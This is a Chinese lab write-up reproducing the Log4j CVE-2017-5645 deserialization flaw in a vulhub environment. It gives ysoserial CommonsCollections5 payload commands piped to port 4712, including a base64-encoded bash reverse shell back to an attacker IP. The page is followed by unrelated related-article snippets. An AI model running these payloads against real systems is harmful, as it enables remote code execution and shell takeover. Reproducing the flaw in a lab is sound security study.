vulhub之log4j

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

漏洞简介

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

Apache Log4j

在应用程序中添加日志记录最普通的做法就是在代码中嵌入许多的打印语句,这些打印语句可以输出到控制台或文件中,比较好的做法就是构造一个日志操作类来封装此类操作,而不是让一系列的打印语句充斥了代码的主体。 Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。 Log4j在工程中可以易用,方便等代替了 System.out 等打印语句,它是 Java下最流行的日志输入工具,一些著名的开源项目,像spring、hibernate、struts都使用该 工具作为日志输入工具,可以帮助调试(有时候debug是发挥不了作用的)和分析。

漏洞原理

CVE-2017-5645漏洞是由于Log4j在处理某些类型的序列化数据时,没有进行充分的验证和过滤,导致攻击者可以通过构造恶意序列化数据来执行任意命令。在Java的反序列化过程中,如果一个类的Class对象无法被Java虚拟机找到,则会尝试通过URL来下载这个类。攻击者可以利用这个机制,构造一个恶意序列化数据包,其中包含指向恶意代码的URL,当Log4j反序列化这个数据包时,就会执行恶意代码。

要复现CVE-2017-5645漏洞,首先需要确保目标系统上安装了受影响的Log4j版本。攻击者可以通过向目标系统发送恶意序列化数据包来利用该漏洞。:

  1. 攻击者构造一个恶意序列化数据包(例如:恶意XML文件),其中包含指向恶意代码的URL。
  2. 攻击者将恶意序列化数据包发送到目标系统的Log4j日志接收器中。
  3. Log4j接收到数据包后,尝试进行反序列化操作。
  4. 在反序列化过程中,Log4j会尝试从URL下载恶意类的Class对象,从而执行恶意代码。

影响版本

Log4j<2.8.2

环境搭建

使用vulhub的靶场,开启后该环境默认端口为4712

漏洞复现

工具下载:https://github.com/frohoff/ysoserial

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

下载后使用maven打包成jar文件进行使用,也可以直接下载jar包

创建文件

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc 192.168.19.199 4712

 

反弹shell

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE1NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.168.60.129 4712

 用shiro反序列化的ysoserial-0.0.6-SNAPSHOT-all.jar也可以

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.60.129 4712

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE1NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/19036.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

web服务nginx实验4:访问控制

4-1&#xff1a;基于不同用户的访问控制&#xff1a; 安装软件&#xff1a; 创建HTTP基本认证用户密码文件&#xff0c;tom&#xff0c;密码&#xff1a;1&#xff0c;lisa&#xff0c;密码&#xff1a;1&#xff1a; -c&#xff1a;表示创建一个新的密码文件。如果该文件已经…

基于FastAPI实现本地大模型API封装调用

关于FastAPI FastAPI 是一个现代、快速&#xff08;高性能&#xff09;的 Python Web 框架&#xff0c;用于构建基于标准 Python 类型提示的 API。它以简洁、直观和高效的方式提供工具&#xff0c;特别适合开发现代 web 服务和后端应用程序。 问题&#xff1a;_pad() got an un…

数字化点亮库布其沙漠的绿色梦想

Bentley 应用程序助力提升设计和施工效率&#xff0c;提前六周交付设计成果 清洁能源为沙漠带来新活力 库布其光伏治沙项目&#xff08;以下简称“该项目”&#xff09;位于内蒙古鄂尔多斯市库布其沙漠&#xff0c;占地约 10 万亩&#xff0c;是中国单体规模最大的光伏治沙项目…

基于单片机的风能太阳能供电的路灯智能控制系统设计(论文+源码)

1系统总体设计 本课题为风能太阳能供电的路灯智能控制系统设计&#xff0c;系统的主要功能设计如下&#xff1a; &#xff08;1&#xff09; 供电模块&#xff1a;采用太阳能板以及风机模拟风扇充电&#xff0c;经过充电电路给锂电池进行充电。再由锂电池给照明模块以及整个项…

Linux Centos7 Rocky网卡配置

目录 1.Vmare 虚拟机配置 &#xff08;1&#xff09;打开虚拟机输入ip a&#xff0c;查看ip网段&#xff0c;若为192.168.81.135 &#xff08;2&#xff09;在Vmare上的虚拟网络配置器配置 &#xff08;3&#xff09;确保电脑有VMnet1 VMnet8 2.Linux虚拟机Centos配置 &#…

MySQL索引原理之查询优化

MySQL索引原理之查询优化 1、慢查询定位 开启慢查询日志 查看 MySQL 数据库是否开启了慢查询日志和慢查询日志文件的存储位置的命令如下&#xff1a; SHOW VARIABLES LIKE %slow_query_log%通过如下命令开启慢查询日志&#xff1a; SET global slow_query_log 1; SET global …

ArchGuard 架构分析器发布:多语言、跨项目架构数据生成,助力 AI 时代知识挖掘...

TL;DR&#xff1a;https://github.com/archguard/archguard 过去的几个月里&#xff0c;我们一直在探索用 AI 辅助跨项目、跨大量微服务的系统的开发。其中一个重要的话题就是&#xff0c;从现有的软件架构去生成知识&#xff0c;文档是落后、多版本的&#xff0c; 只有代码才保…

NLP论文速读(多伦多大学)|利用人类偏好校准来调整机器翻译的元指标

论文速读|MetaMetrics-MT: Tuning Meta-Metrics for Machine Translation via Human Preference Calibration 论文信息&#xff1a; 简介&#xff1a; 本文的背景是机器翻译&#xff08;MT&#xff09;任务的评估。在机器翻译领域&#xff0c;由于不同场景和语言对的需求差异&a…

工程车识别算法平台LiteAIServer算法定制工程车类型检测算法:建筑工地安全管理的得力助手

随着科技的飞速发展&#xff0c;智能化技术正在逐步改变我们的生活方式&#xff0c;特别是在交通管理和安全管理领域。其中&#xff0c;算法定制LiteAIServer工程车类型检测算法以其高效、准确和实时的特性&#xff0c;成为了建筑工地管理、矿山开采以及物流运输等多个领域的重…

机器学习2

三、特征工程 接机器学习1 4、特征降维 4.2、主成分分析PCA 从原始特征空间中找到一个新的坐标系统&#xff0c;使得数据在新坐标轴上的投影能够最大程度地保留数据的方差&#xff0c;同时减少数据的维度。 保留信息/丢失信息信息保留的比例 from sklearn.decomposition imp…

【Linux之权限】提升篇

前言 在前两篇文章里&#xff0c;我们已经学习了Linux中权限的理论、实践和重点&#xff0c;接下来我们将进一步提升对Linux权限的全面认知。虽是拓展&#xff0c;其实还是重点。 本文内容并不多&#xff0c;那我们就开始吧。 目录的权限该如何理解呢&#xff1f; 如果我想进…

亮数据结合AI大模型,实现数据自由

目录 一、获取网络数据的挑战1、反爬虫机制的威胁2、IP封锁与访问频率控制3、数据隐私与法律合规 二、亮数据动态代理&#xff1a;数据采集的最佳拍档1、高质量IP资源2、智能调度与自动切换3、合规与隐私保护4、多场景应用支持 三、使用亮数据代理 IP进行网络数据抓取1、引入 r…

elasticsearch是如何实现master选举的?

大家好&#xff0c;我是锋哥。今天分享关于【elasticsearch是如何实现master选举的&#xff1f;】面试题。希望对大家有帮助&#xff1b; elasticsearch是如何实现master选举的&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 在 Elasticsearch 中&…

EtherNet/IP转Profinet网关连接发那科机器人配置实例解析

本案例主要展示了如何通过Ethernet/IP转Profinet网关实现西门子1200PLC与发那科搬运机器人的连接。所需的设备有西门子1200PLC、开疆智能Ethernet/IP转Profinet网关以及Fanuc机器人。 具体配置步骤&#xff1a;打开西门子博图配置软件&#xff0c;添加PLC。这是配置的第一步&am…

Uniapp运行环境判断和解决跨端兼容性详解

Uniapp运行环境判断和解决跨端兼容性 开发环境和生产环境 uniapp可通过process.env.NODE_ENV判断当前环境是开发环境还是生产环境&#xff0c;一般用于链接测试服务器或者生产服务器的动态切换。在HX中&#xff0c;点击运行编译出来的代码是开发环境&#xff0c;点击发行编译…

C语言 for 循环:解谜数学,玩转生活!

放在最前面的 &#x1f388; &#x1f388; 我的CSDN主页:OTWOL的主页&#xff0c;欢迎&#xff01;&#xff01;&#xff01;&#x1f44b;&#x1f3fc;&#x1f44b;&#x1f3fc; &#x1f389;&#x1f389;我的C语言初阶合集&#xff1a;C语言初阶合集&#xff0c;希望能…

【专题】2024AIGC创新应用洞察报告汇总PDF洞察(附原数据表)

原文链接&#xff1a;https://tecdat.cn/?p38310 在科技日新月异的今天&#xff0c;人工智能领域正以前所未有的速度发展&#xff0c;AIGC&#xff08;人工智能生成内容&#xff09;成为其中最耀眼的明珠。从其应用场景的不断拓展&#xff0c;到对各行业的深刻变革&#xff0…

.NET桌面应用架构Demo与实战|WPF+MVVM+EFCore+IOC+DI+Code First+AutoMapper

目录 .NET桌面应用架构Demo与实战|WPFMVVMEFCoreIOCDICode FirstAutoPapper技术栈简述项目地址&#xff1a;功能展示项目结构项目引用1. 新建模型2. Data层&#xff0c;依赖EF Core&#xff0c;实现数据库增删改查3. Bussiness层&#xff0c;实现具体的业务逻辑4. Service层&am…

两种柑橘物种中WRKY转录因子的鉴定和比较-文献精读82

Genome-wide identification and comparative expression profiling of the WRKY transcription factor family in two Citrus species with different Candidatus Liberibacter asiaticus susceptibility 全基因组范围内鉴定和比较两种对柑橘黄龙病菌&#xff08;Candidatus …

Kafka中ACKS LSO LEO LW HW AR ISR OSR解析

名称解释 ACKS&#xff08;Acknowledgments&#xff09;确认、回执 LW&#xff08;Low watermark&#xff09;低水位、LSO&#xff08;Log start offset&#xff09;起始偏移量 HW&#xff08;High watermark&#xff09;高水位 LEO&#xff08;Log end offset&#xff09;…